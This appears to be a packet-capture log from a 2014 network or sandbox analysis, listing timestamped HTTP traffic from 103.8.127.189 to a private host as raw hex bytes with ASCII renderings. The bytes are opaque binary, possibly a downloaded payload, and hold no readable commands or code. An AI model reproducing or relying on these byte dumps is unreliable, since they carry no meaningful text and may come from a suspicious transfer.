Feb 27, 2014 17:56:07.446974039 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 93 e1 b7 70 8a 49 98 f4 ea af 9a 3b c2 53 88 f9 d5 ac 88 f9 d5 ac 88 f9 d5 ac 88 f9 d5 ac 94 66 4a 3c 17 79 27 4d bf 84 26 ae b7 51 26 4d bf 54 68 ad b7 d9 4b 06 3a db 4b e8 37 f8 27 8e 16 99 6a ad bc 19 88 8c 16 fd ac a8 97 df 4b 84 31 ff 1c 64 Data Ascii: pI;SfJ<y'M&Q&MThK:K7'jK1d7FD75h;M TA!yE?K!8>!SZIQa#kKHVrQ5zpZ)>}TeAW._zF>!>PG<>TJS	737
Feb 27, 2014 17:56:07.446990967 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 70 01 1e 79 0e 81 85 6a 1a 01 fb 51 d9 81 13 f1 46 69 1b 8a 3a 05 5e 11 42 8d 64 dc 46 a9 7f 70 b9 bf 77 35 c2 48 7a 35 f9 8a db f5 0a 7f 16 c9 2e c5 7f b1 79 b9 07 88 86 e9 9c 8a 18 8c 30 41 99 b6 d6 b4 e2 df 1b e9 0b 61 d6 b1 59 8d bf 35 6a 2e Data Ascii: pyjQFi:^BdFpw5Hz5.y0AaY5j.6*dZ4_<&sg`Za7!3H<zr-HUH_nml<nh>Tuu2}ShHY"Xi<j:H2g/HXHw-S	739
Feb 27, 2014 17:56:07.447124004 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 29 c7 db b5 4b 8f de 95 42 c5 d7 f1 e9 2c b2 50 6f cd 56 1a 91 c9 ba 3d e7 6c 35 f8 a3 a4 5a d9 43 0f 8e 35 87 08 de bb de 0f 66 35 43 81 03 15 f9 4c 07 7d c2 ed ce da 25 c8 f3 94 6b 3f 56 3d 8a 41 36 0a 7b 2d 9a 7d 02 8c 44 e4 ab 81 56 f1 d9 90 Data Ascii: )KB,PoV=l5ZC5f5CL}%k?V=A6{-}DVAL\}WJA;Fwc,I9SKw`SskL=oPZI~?%9JUb.(3ty9/Lj_D/Upi~Opn/^04bmSe50LaA	739
Feb 27, 2014 17:56:07.447340965 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5a b1 f9 93 f2 f1 82 c5 ff ca 41 49 b2 bd eb 8e f4 ca 08 69 d7 90 5e da 7f f5 08 e5 64 f5 c6 28 bb b4 99 0a 96 f1 a7 49 b2 0a f9 a4 da 95 03 8e 6f 6a 5e 8c da 1c d9 ed 1a 95 ce 20 57 8a 65 6c 5f 11 c7 bf 6c e9 47 08 b7 34 b9 2d b7 f5 ef ee 5f 0a Data Ascii: ZAIi^d(Ioj^ Wel_lG4-_mkUBm8VI`wfX_tF_]V\cf3Oa_YoUqd^b$S9.,D=?4Zj}/Id}K@'/BE*Liy$k]	740
Feb 27, 2014 17:56:07.942078114 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 47 a0 ba b9 4f ed 24 52 0f 40 5f fd 96 3f 20 9c c2 00 7a a1 39 ae ba 5c 83 ff 60 e9 47 09 b7 31 19 a2 bf 11 23 ee 5e 4a 9a 01 5f b1 e3 9f b1 91 42 c5 9a 75 d9 b8 b6 f8 62 cc 36 8a c4 65 fb fc a2 3f 18 11 2f 28 3e bc 39 1a 92 55 6b 0d 44 cf 5a e8 Data Ascii: GO$R@_? z9\`G1#^J_Bub6e?/(>9UkDZRgArhx"`:[Xk@MrqY?y7QC,-x@[Jp3>~H8t$_?G>pTXLs-AX{-Ls?4B	742
Feb 27, 2014 17:56:07.942084074 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e7 0f 75 d9 86 a9 32 dd 61 0f 92 59 07 2e fe 5a 7a 24 57 f4 27 0e b4 eb 5a 49 fb 98 5a 8f 1c 1d 8b 64 36 9a c4 c1 36 f5 c7 0f b4 51 ef 24 3a 1c 28 4f 91 bd c3 cd 34 96 6a a8 13 19 86 31 b4 f1 2b a9 93 b8 fe 8e 16 30 ce c1 d3 9a 46 8c d6 7d 0e 20 Data Ascii: u2aY.Zz$W'ZIZd66Q$:(O4j1+0F} #o.(tjI[k2K%LDqn j7Y7Lh<'?sqdlS\.ww0ZB\|$Pb)OEwGQK4kG7U2si022	743
Feb 27, 2014 17:56:07.942090034 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c8 29 c4 bb 47 4c 3b 9c a1 ff 30 f1 46 41 3b 4a 28 40 56 54 8f ed 64 27 c2 a8 da b1 0b ff 52 90 4e c5 db 8a 60 4c 5e 5d 63 22 1e 4d 26 65 92 aa 6d 8d d3 fc 43 8e 8e 2a 41 0c 93 b8 39 17 72 78 ce a1 3e 8a 51 85 5b 54 a2 1f 8e e9 6e cd be 18 39 d3 Data Ascii: )GL;0FA;J(@VTd'RN`L^]c"M&emC*A9rx>Q[Tn9[jHy6h?\EbcBy;6w.F{B_&0B^1D6X<jqr)0^P1_=NHRl~>HzbRH@gHrxXu#vX	744
Feb 27, 2014 17:56:08.168991089 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: de 54 ce ad 20 ba 02 c5 3a 31 94 ef 45 e9 8f 8c 97 1f 89 cf 37 71 cf ed d4 85 2b 40 12 78 e3 ee 15 95 42 20 fb 30 09 e4 53 d0 a2 01 95 90 08 ae 9b 79 2e 85 a0 3a 52 bc b7 5d 42 c0 d4 6c 47 e9 3b 7b c8 ee 15 d9 af 68 df 75 09 ef 07 b1 83 00 5a bb Data Ascii: T :1E7q+@xB 0Sy.:R]BlG;{huZHmzPaHuB1c(AssUjeTdo0]FVHH%`TxT#oL}HsP8UP+oXPB2ye0T)[+y8:N	745
Feb 27, 2014 17:56:08.416918039 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b5 9c 29 83 1b 3d e7 0f 59 10 4a 64 05 28 79 f7 5a 30 1e 97 f6 fd 86 ee 93 8a 09 4c d3 1c 87 ff 19 b9 5a 8c f6 38 17 5f 04 bc 87 ad b6 2a 1c e0 57 75 ef 9f 41 3c 5a 2e 55 e2 d9 ed 3b 55 a7 df a4 c9 af 28 56 f0 d9 a6 1f 5c e7 a0 04 bd 7a 6d b6 19 Data Ascii: )=YJd(yZ0LZ8_*WuA<Z.U;U(V\zm_,I,9Q_&9O5>K_CTOO[yRV'H^dWuXt9BazN5;.0Zp%Gy7$bW"DW_D'Ye\|8&D8PO	746
Feb 27, 2014 17:56:08.416934967 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 36 98 1e ed 15 f0 6a c9 b2 d1 b9 ae 1e d0 5a 20 fb 15 c2 ae 1e d4 6f 21 13 3d 8d ae 1e 35 a3 6d 97 24 0b ae 1e 18 83 4d 5b 97 48 a5 16 e9 c7 cc bb fb 48 a5 9e 39 63 28 f6 78 49 97 3e 90 c2 a9 15 f0 6a c5 df b8 83 37 15 f0 e3 48 1b 14 87 af 58 fe Data Ascii: 6jZ o!=5m$M[HH9c(xI>j7HXH2p.{N"jO="*+/eRzsK8zA.Z7\b/&g5C/`ZUu.#~/-{NnazC4if383G{N5/yBu.	748
Feb 27, 2014 17:56:08.416938066 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: da db 7f 7f 11 dc ab ed e4 bc 0a c4 13 94 0f bf 4a 10 4b 80 b6 f6 43 9f 11 39 c2 58 21 f5 ee 60 ff d8 19 97 32 1c a7 00 a4 c6 43 2c 93 3c 63 7f 2a 59 23 0c 53 6a 01 bc 7a 75 c3 28 24 6b 8e 48 b6 7b 07 df Data Ascii: JKC9X!`2C,<c*Y#Sjzu($kH{	748
Feb 27, 2014 17:56:08.642018080 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 06 91 4a 0c 7b e3 19 b4 1f dc 26 ec 04 fa 6e 24 57 f1 68 5a c4 ff e6 65 76 aa 68 ed 97 71 a7 a8 16 6a 4f 0d 9f f1 f9 38 37 95 27 45 33 67 99 c3 17 bd 08 04 e4 bc 0a 80 37 50 19 f2 73 e9 4e 40 3a 90 b9 a2 32 50 6f ee 36 aa 7c c8 5a b5 95 bf 1f 3c Data Ascii: J{&n$WhZevhqjO87'E3g7PsN@:2Po6\|Z<N!tbF,VUd[yBVs{*6JG]"_HPB6cUy9jG(?6/DZ\|^I6[u_X]"(`dZLF86 7=[5N(Yij	749
Feb 27, 2014 17:56:08.664201975 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 39 d6 7b 15 0a 24 44 db 07 a4 f3 94 47 7f 94 dc e3 a5 73 d8 b9 b1 da 71 4b e9 c4 ff 23 8c 93 70 4b ff 04 59 a7 65 3e 6a c8 8c 1e 5c 67 80 48 ea 42 c1 72 7d af 2f 44 d5 0b a8 5f eb b9 f2 07 78 67 e5 81 0a 7c 05 db b9 5b bf 75 14 c7 4c 83 f3 c2 88 Data Ascii: 9{$DGsqK#pKYe>j\gHBr}/D_xg\|[uL1E,OhC}kij>}9(7Bi:+9<lDBvfrlZ,3UL)XU>P*r?BP5"6em>._`4oYoqU	750
Feb 27, 2014 17:56:08.664208889 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e9 b0 07 78 23 cc 3f 1a c1 a0 7b b5 ce a9 29 1a 05 89 d7 f4 f1 0f 31 e9 6a e0 ba f4 68 ad 17 19 ce 2e 5f da c7 e9 5a 95 af e9 f4 cf 42 0d 5f 31 69 9f 1f 7c 6b 68 55 4b 69 2f b7 75 26 99 b4 d2 6a 28 f3 95 a9 f5 fb 18 66 89 34 74 6a 24 f3 d4 c3 b0 Data Ascii: x#?{)1jh._ZB_1i\|khUKi/u&j(f4tj$5jl\5O4kix}it)7/A<4q.OX`M0.7,F=\|L-3*@~);8G( q4B}OhiZ[0itN$t;	752
Feb 27, 2014 17:56:08.664292097 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 47 84 ff dc 9e 65 9a b0 cf ee bf aa df c0 16 f4 87 bf 3c 5d 42 ac f2 b8 39 8c 7a b8 6a 69 36 4a 58 c1 d7 50 c6 df 06 10 67 28 33 d5 39 8c 9a fc 23 e9 e4 c8 5a 04 33 fd ee 3f 48 75 67 29 53 d9 6d ff 19 bc 82 28 24 f8 aa a4 b3 d5 a7 1f 22 9d ef ec Data Ascii: Ge<]B9zji6JXPg(39#Z3?Hug)Sm($"{T&,caKyT.hX{KD>YDtt`JD0c:c'Wj#l] 3{WL@qJ)$eJ)U~JX%&V?j.dC=k_t~J%_	752
Feb 27, 2014 17:56:08.664334059 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1e 95 eb a4 df b4 4f ae 1e b5 27 41 5f 7b 62 ae 1e 54 ab 20 32 07 49 b1 07 d1 6f 28 3d fa 29 6c 9b 5d 08 e9 14 f0 8f 8c 7a 6c 48 a5 36 e9 2f 05 f7 a0 48 a5 f7 35 82 28 ff 22 c9 f2 3a 3d ae 0e 95 fd 6a 60 b2 91 0e f8 95 fd ce e1 1f d8 e2 0f 95 fd Data Ascii: O'A_{bT 2Io(=)l]zlH6/H5(":=j`J?jcU6%VK.{NZS/W=o)]+a{NC{N.B{N G,d.Z1.0+^Ga{NSQ{N"zh>4z)sN%`{NAUWV{Nn4	754
Feb 27, 2014 17:56:08.664339066 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: f3 b4 0e ae e4 2a 4b a0 b3 10 74 01 3e f9 0b 88 22 d9 e3 68 ff 24 4a c4 d2 39 e2 fa bf 31 63 a4 93 ce 87 1e 0b 9c e6 60 e0 f9 e3 84 db 31 11 04 3a 19 36 04 ca ea 04 e3 17 b6 4a e3 17 b5 4a 61 23 b0 ab 6c 5f f4 0a a9 95 ff 8f e0 37 18 e2 d1 df 54 Data Ascii: *Kt>"h$J91c`1:6JJa#l_7TsI5HL 9JQizN5<'Q%JO<nQ~}&L%%4>r&Gi@i{)La[^X$0Q:	755
Feb 27, 2014 17:56:08.664407969 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 71 b5 0f 09 54 e8 e2 8c 13 1c cf 6f 43 39 c2 2d 17 69 6b ef 99 5d af 49 4a 3a 0a c8 b3 7d 2b ee d4 72 e3 64 ff 2e 09 86 07 d8 47 6d 6d ba 21 c1 12 15 0b 6f 3b 95 26 6c d7 b7 89 cf 56 f1 2b 28 d4 ba 07 c0 5f fd 7d 8d d4 8e a7 c8 fe 1e 08 ae 52 dc Data Ascii: qToC9-ik]IJ:}+rd.Gmm!o;&lV+(_}RN:C(vVHys;}JMo:o!C@tl^[}D7\|E(:YD:\|.HWoBHgP:59ZVI	756
Feb 27, 2014 17:56:08.664489985 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 2a 8c da 11 ae ec f6 ca 79 a9 3f bb 2b 1f 92 31 83 ac 93 2a 4c 89 07 f8 4e c4 53 0a 68 e9 17 14 6b ff 58 d9 4e e5 72 ca d8 0d 1e 7d a3 ec 44 c8 46 a5 53 10 59 bb 37 75 ea 89 1f da 79 e0 52 38 08 c8 24 e9 26 29 7b 30 59 a1 77 f1 66 00 b3 ea cf 48 Data Ascii: y?+1LNShkXNr}DFSY7uyR8$&){0YwfH!:@2(Yjol-3J>o}j@Bzj6U=a'i0?Q0BV76URyV#-oR`_!XB3y$6U`J}>9CqJ	758
Feb 27, 2014 17:56:08.664494038 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: a7 8d d4 f7 c3 2d 36 1a 0e 95 d2 7d 08 c3 54 c0 62 49 3f 4b 08 ae b7 f1 6e c4 1b 3a 00 49 f3 f9 86 ee e1 3a 68 e4 f3 5c d8 ef 06 9d 42 40 13 fb 08 ae d7 50 ee 81 36 ba 6f 01 9a 7d 6e ef 7c 7c 27 24 5f 98 50 6f 0f 71 6f 21 54 98 6a a1 b2 75 43 cb Data Ascii: -6}TbI?Kn:I:h\B@P6o}n\|\|'$_Poqo!TjuCTj<.[oKiTf-.,UUcl4+o=BA%UwwA$Z0\oTBj_TC's?T*D{'6%p#k8FHpk:8\2oW	759
Feb 27, 2014 17:56:08.664606094 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 19 b4 f6 f1 4f ac 12 8a 1d 0d 72 94 eb 8d 84 fc 6a 84 3a f8 59 af 7b dc 4e 4d 3b aa 14 c5 f7 3c 02 64 1e 4a 42 88 d6 cd 1c 64 b3 bd 62 ee 40 aa 59 e1 d2 54 86 f8 65 94 08 2d e3 69 ab 88 1e 4c d9 a3 df 7d 47 45 64 c7 26 6d b6 35 19 bf 07 b0 62 a4 Data Ascii: Orj:Y{NM;<dJBdb@YTe-iL}GEd&m5b**ql`68lfs?<_/-KjZO?tBL].p5$B-Zt9a6_!K?Qg({9WPZi]=SB%DN	761
Feb 27, 2014 17:56:08.664609909 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 5a 61 7e 11 23 6f 8d fc 4f 44 55 a5 89 a5 ba 78 46 18 54 89 47 a4 be 34 e1 6f a4 d4 4b c8 aa b8 08 ae fa 50 06 00 7b 3a 1e 45 9f f4 23 9f 54 e2 cb 8d 96 ba 16 bc d6 30 c6 c4 d4 2f c6 29 7a 7d ef 90 54 ab 46 ec ff 6c 89 27 1f 74 c7 e9 d4 66 c6 81 Data Ascii: Za~#oODUxFTG4oKP{:E#T0/)z}TFl'tf}oTadT}>`_I:NvGom3<o(2S0oWjO$=oH5&i5{n.h7c(e DCiZRCtO)QICIf	762
Feb 27, 2014 17:56:08.664612055 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4f 85 1b b1 cc bd 44 d5 c7 c5 7a 8a 6f e5 1b 78 ce 48 19 4a 7f 64 7f 14 c5 bf 44 f1 a2 80 fa 8a 65 4c fa b9 23 8d e4 b9 ee 80 9a 50 b9 27 b6 35 c2 0d 7b 0c 99 b3 f3 35 86 df 93 e9 aa 89 97 3c b9 05 b7 9d ca ee 3b 6a 67 a4 93 3c 66 1f 4f fc 42 68 Data Ascii: ODzoxHJdDeL#P'5{5<;jg<fOBhv{A6NhYk(9SZx+%S?]OX+-;{b;).-@:(,^a$jHUYoM$uEWKs*aP$	764
Feb 27, 2014 17:56:08.664628029 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e2 4d 17 aa 28 e1 df d0 cf 4f 7a e9 ab 01 d7 94 29 b7 df 1c cf 28 12 e9 a9 ec fa 50 4b 6b b4 cc 42 c1 f7 bd 69 ee 9b 75 ca e1 55 45 29 dc 5a 9c ca 66 35 f8 a6 bc 1f f4 e3 25 f4 de 26 0d 5a bb a5 0f 05 91 e7 41 3a db 4b 01 07 31 66 20 42 1a 05 81 Data Ascii: M(Oz)(PKkBiuUE)Zf5%&ZA:K1f B;0h4b_ZGWq1i7`2I_AWcXKQ4BxN@LEhVK{tG$	764
Feb 27, 2014 17:56:08.664742947 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 37 38 0f 8f 07 7d 0b 00 73 64 42 a9 3a fd 29 bd fb 50 4b a4 55 b4 69 94 bb 18 26 f5 f4 b9 e6 a8 f6 d5 29 31 32 f4 66 09 27 d8 e9 93 36 9d a7 34 b4 73 a6 6c 53 50 7c 0f 0b 54 4e 44 f4 f7 03 bc ff d0 a3 d1 74 ae 46 0c 9f b8 a9 80 da d0 0f 08 2a 9a Data Ascii: 78}sdB:)PKUi&)12f'64slSP\|TNDtFM45kwa~f4a:n4F@2sd}-4C 4CPe)s*h}{[B?wp>5di.bitZ3Q@O\|	766
Feb 27, 2014 17:56:08.664747953 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: a4 a1 2a 80 7a 19 99 aa 3b 34 6b 19 c7 38 ca 4c da 8d e8 25 bf bb 62 1f 97 b4 67 65 9f 0a 13 09 93 34 ef 78 a2 d5 4f 2c 13 ca 4b 8c 77 d8 62 29 a0 ea 5d ad 3a bb c7 5f 4e 1c 82 80 5b aa 52 85 07 b1 03 8d 30 8a 46 68 97 79 6b 7f 3e 75 a7 e1 d2 6a Data Ascii: z;4k8L%bge4xO,Kwb)]:_N[R0Fhyk>uj}'k]^Kyi/vy^#7Y)\a^}'D\$Xk},Z@}i+dpY#LH\}?NI6Pz'W}	767
Feb 27, 2014 17:56:08.664870977 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ba 1d 87 e8 17 e5 a9 b1 f6 70 cb 8f 50 f5 5a a8 de 10 8d cf 40 15 22 41 56 5a 19 8c 7b b0 47 ea f4 ad 67 a8 5a dd 69 fd 12 98 67 44 f6 e8 29 83 9f 71 c6 4f 49 d8 cf c9 93 9c 12 4f d0 3c ef 88 a0 9a 5b bc da d5 0e 45 b4 d8 8b a8 5e db 60 0f ab d5 Data Ascii: pPZ@"AVZ{GgZigD)qOIO<[E^`)cL\>^F4&h}ca&iugZ,W0k(}Etqn:;*HObeNDt:hZlAnBDh_V	768
Feb 27, 2014 17:56:08.664947987 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 94 b8 4b a9 12 d8 59 af b7 55 e2 6c 04 ee 26 89 13 d5 8f df 29 10 46 e1 1e 04 6b ff 0f 78 e7 04 b2 0a 0a e1 33 7d 07 4e 84 e7 2e c5 97 f0 39 ab 1f d1 07 e9 44 41 ef 01 b3 34 0b 3f 2b 3c 03 c1 b6 f2 f9 a4 36 7d ce 28 24 f8 8a 81 5b f9 b9 c4 07 f1 Data Ascii: KYUl&)Fkx3}N.9DA4?+<6}($[CA?&$s(dKsuJD7fM{_kt0$Fb_0S}.bB{8M6f_$_NjVDS?YoEktdz<$GcO7	770
Feb 27, 2014 17:56:08.664952993 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 8a 1a 44 bc fa fc e6 1f 34 be eb 00 ba b8 a9 2d f3 d1 e7 00 aa 9a 3f 45 1f dd 2f 42 34 f8 ae c4 56 ec 5b 4f 35 90 c3 04 f4 ea ab 88 72 7d 0b 9d f4 db ce 6d 5f d4 29 89 1f d8 8b c9 b4 eb 82 65 d2 1c c8 fb 35 f8 23 81 17 fd a0 cf 9e e9 47 08 9a 57 Data Ascii: D4-?E/B4V[O5r}m_)e5#GW"ZVC2 Ri>\|OK,)~V^pNi>y`+62Yh#?i;ZRt76cx\)Rhg6*4k8i"DZ]4't/:2cL& O!	771
Feb 27, 2014 17:56:08.664956093 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 36 14 6c 1f 1a d4 6b 29 55 52 79 9f 3f d4 63 35 04 d8 22 28 36 54 f9 f4 7f 51 ef cc e4 f0 6a e4 bb f9 cb 8d c4 f8 ae a0 55 78 b9 9a 57 1d 47 64 04 eb 83 bc 1f 19 0f 79 24 e9 c7 04 16 d8 3e 25 fa d5 e3 c6 04 f4 23 81 55 15 59 99 56 11 0e 04 a4 76 Data Ascii: 6lk)URy?c5"(6TQjUxWGdy$>%#UYVv$]u}jZi?QUmU;yNy^mj)2Dfgab{?Un[-"h3B[]fhU%qb%Qk(wim^{GX;\bd_ZPk	773
Feb 27, 2014 17:56:08.664958954 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 16 5a 03 4c 37 f8 77 cf d7 9f 4d 20 14 df 41 eb 17 7c 02 04 da 6b cb ac 3a 7c 8e 00 9e d0 cf 68 17 05 e2 e1 96 51 0b 25 32 f9 eb 68 fa 59 6a 2d de 20 4a 04 3f 59 8f e8 b6 d8 ef ac d6 78 e2 89 b3 30 0f 05 17 b4 83 05 92 71 66 0c db f9 f9 0c 13 78 Data Ascii: ZL7wM A\|k:\|hQ%2hYj- J?Yx0qfxmJ-h4:pJETc%WyLe{QZlqg)DJ 7tQxK);YZJ)gZaUb1L;[CJ >u~<`Un B`Zi	774
Feb 27, 2014 17:56:08.664961100 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 13 fd 16 e8 57 f9 9e e8 f6 b9 4e a8 4b 9d 0a ac c3 9d ab 8c 13 fd 16 a8 57 f9 9e a8 f6 f9 4e a8 4b dd 0a ac c3 dd 61 14 17 18 aa a9 4b 3d aa 4c 12 79 9e 68 f7 39 4f f0 f3 f9 0a 2c c3 1d aa 0c 12 a5 ce ac 37 79 9e 28 f7 79 4f f0 b3 f9 5a 2c c3 5d Data Ascii: WNKWNKaK=Lyh9O,7y(yOZ,]yOsZ,NyO3BLa7aJNDB4KRu4ABa{N4KR@Ca@1CNxKRU$4KW	776
Feb 27, 2014 17:56:08.665047884 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: e6 a0 16 48 57 f9 9e 48 e8 b6 1a e3 47 b6 1a e3 47 b6 1a e3 47 b6 1a e3 47 b8 08 fc fb 18 82 a8 da b8 4a e9 37 75 ab 04 13 34 0b ac 52 55 5a 4d 9f fd 87 ed 17 bc 06 4d 1f 91 4e 61 56 f9 0f c0 f6 b1 4e a8 da b8 4a e9 1b 18 62 a8 15 34 0b ac 52 d5 Data Ascii: HWHGGGGJ7u4RUZMMNaVNJb4R4L@1OaVJ$4R&L_OaVOJ;BxR5D%	776
Feb 27, 2014 17:56:08.665174007 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: eb a5 cb b8 4a f8 b6 f0 96 ed 17 05 1e 00 e8 b6 b5 e3 e8 b6 b5 e3 e8 b6 b5 e3 ec 06 05 5d 58 14 05 0c e8 b6 b5 e3 e8 b6 b0 e3 bf 19 43 e1 56 6f 8f ed 81 b4 0b 3a bd 3c 0b 3a 5a b8 dc 69 56 6f 07 ed 81 53 8f ed 81 b4 0b 3a d2 b8 dc e1 56 6f e0 69 Data Ascii: J]XCVo:<:ZiVoS:VoiVo<:Z[=Lyh9BJ,y(yBJ,]yBsJ,NXYXYSYVXVXFaVJBXaVR4RJR4RXaV	778
Feb 27, 2014 17:56:08.665178061 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d5 2b 88 7e d5 2b 98 66 cd 33 90 66 cd 2a 90 b1 46 f8 56 ea e0 70 96 f9 1e ed 04 25 cb ac 43 b8 59 06 cb 78 4a f8 56 ea 96 2d 17 ad 0b bf bd 25 cb ac 43 b8 59 70 96 f9 1e ed 04 53 96 2d 17 ad 0b bf cb 78 4a f8 56 ea 60 70 96 f9 1e ed 04 25 cb ac Data Ascii: +~+f3f*FVp%CYxJV-%CYpS-xJV`p%C5ZI-I1Ja QNxJ4R4-&I_-Ja;BxJD4R-HKaqKxJ["xR4WFH?-KaS-xJVp	779
Feb 27, 2014 17:56:08.665182114 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4b ad 52 f5 a7 84 13 f1 87 ad 16 bc 66 41 1f f1 48 61 16 f8 0f 60 fb 11 43 61 96 f8 4b e9 fb 15 82 a5 da f8 4b ec 52 75 a6 04 1e 34 4b ad 52 d9 e6 40 9f f0 87 ad 16 bc 06 bc fb 91 43 61 16 f8 0f c0 fb f1 02 a5 da f8 4b e9 1b 15 62 a8 1e 34 4b ad Data Ascii: KRfAHa`CaKKRu4KR@CaKb4KRSKp-1%KCxlK%KCxlp-1SKp-1%KCxlK%KCxlp-1E-@1FaxJ7U$4RZE-&E	781
Feb 27, 2014 17:56:08.665184021 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 47 21 17 3c ac a8 17 dc 07 a3 7e f9 4b 4d 32 ce 43 2c 3f 90 4a 64 93 50 43 a8 ee d1 22 ac d6 51 12 41 bb fd ab a6 17 3c 87 e9 56 5f a7 4d d2 f9 4f 26 fa 55 a2 a1 15 99 4a 4d 73 75 34 2c f3 f8 23 ac 73 f1 eb 4c 13 53 eb a1 17 35 86 20 13 d8 4f 44 Data Ascii: G!<~KM2C,?JdPC"QA<V_MO&UJMsu4,#sLS5 ODds<i{PJ%Lhr([92[9iJLLJ(%5'qi^OZs`_JUa<4l=6S%1HJ$[9U"2<)1a}mHa0H>9RJ:	782
Feb 27, 2014 17:56:08.665185928 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 46 24 46 b8 0b a0 9f 88 8b 20 1b 71 1b ed 9f f5 c2 fd 56 71 46 24 46 b8 c2 a0 9f a8 2b 24 1b 19 1b c1 ff 91 a3 8d 32 10 46 24 c6 fc c3 a0 9f 28 8b e9 1b 71 3b 6d 9e f5 c2 fd d6 bc 46 24 66 b8 c2 a0 9f a8 0b 24 1b 71 1b ed 9f f5 c2 fd 16 71 46 6c Data Ascii: F$F qVqF$F+$2F$(q;mF$f$qqFlFj$qVF$v8q+VqF$FK$VqF$FqmF$F$qvqFGfEqK=VF$VqVqF$FK$1VqF$F	784
Feb 27, 2014 17:56:08.665270090 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 83 64 e8 b8 26 e0 d6 a1 6b a8 72 9c 20 c9 97 b5 ce f4 bb 58 6f e5 b6 55 a3 2d 52 48 0b e8 1b 35 20 e0 f7 78 cf 9d f2 b1 42 e5 b2 f8 62 a0 b3 0a 6b 8d 17 35 00 ed da f5 ce fc 72 75 e3 21 40 bd 27 a0 33 18 06 28 97 71 77 49 f6 95 c7 3f 72 d1 ea 24 Data Ascii: d&kr XoU-RH5 xBbk5ru!@'3(qwI?r$FwNVU$~N[q4-Scdk14+T.yM_sSx*)56FQKaIkVXaa6q'DfavvUIg.6)c	785
Feb 27, 2014 17:56:08.767393112 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d3 b0 3b 00 b2 95 2a 09 56 b0 a3 2c 4a b0 a7 e5 9e a1 03 64 d6 55 33 e0 ba f9 cf 8c 53 71 c3 e5 c6 55 e6 e1 16 48 4b 2d de 11 83 a8 9a 3c 2e 3e 36 11 a2 61 41 b8 6a a4 da 89 0b 00 b3 71 1b 00 f2 7d 8a 3c 36 9c 2f 80 79 b5 e2 84 fb ca 86 29 fa 7c Data Ascii: ;V,JdU3SqUHK-<.>6aAjq}<6/y)\|]8Vye[}k$xN1d`Jkq/Wg6\|$VU2x?4(&V\|Y?NarqVYV\|+-WUUDLrI)[qV\|`]G6q:NVAk)~\|	786
Feb 27, 2014 17:56:08.767399073 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1e 35 00 45 b7 1d c2 fd 9a 78 43 29 1f 99 2f 6c 72 77 c3 44 1b 71 1b 45 fe fc 03 21 fe 34 43 a9 3e f0 66 44 9f 9c 2b 2c 7b 7c 9a 01 1a f8 c2 21 92 79 87 e5 c6 f4 ae ac 96 31 47 24 12 b0 1f e5 16 75 e6 95 3f 11 4f 00 02 b5 07 01 9f a0 8e 44 da 35 Data Ascii: 5ExC)/lrwDqE!4C>fD+,{\|!y1G$u?OD5X\f\|tX%\|&$HK$T*U$daiT7qj4n\|&4FucqlXfdd[qs7Qf7y$8"lL=5&$+a$?xZ	788
Feb 27, 2014 17:56:08.767411947 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: bb 11 23 48 8d 79 e2 4d 97 94 4e 45 b2 b9 cc a8 76 f5 86 2e 5f 51 06 cd 10 b8 22 a0 9f 88 e6 84 b6 bc c5 ad 1e b5 03 75 56 39 23 e0 46 fd 0a a9 9f 6c ca 2c d6 31 01 00 93 fd e6 0d 56 bd e6 65 55 b8 0e e0 97 80 86 09 32 d9 1c ed 9b d1 a2 ed 16 70 Data Ascii: #HyMNEv._Q"uV9#Fl,1VeU2pk4SxVGUHOMyr@h;WA51#Lh__7y;r&d'/wY;6S"a3p64<Vg@LBDzU	789
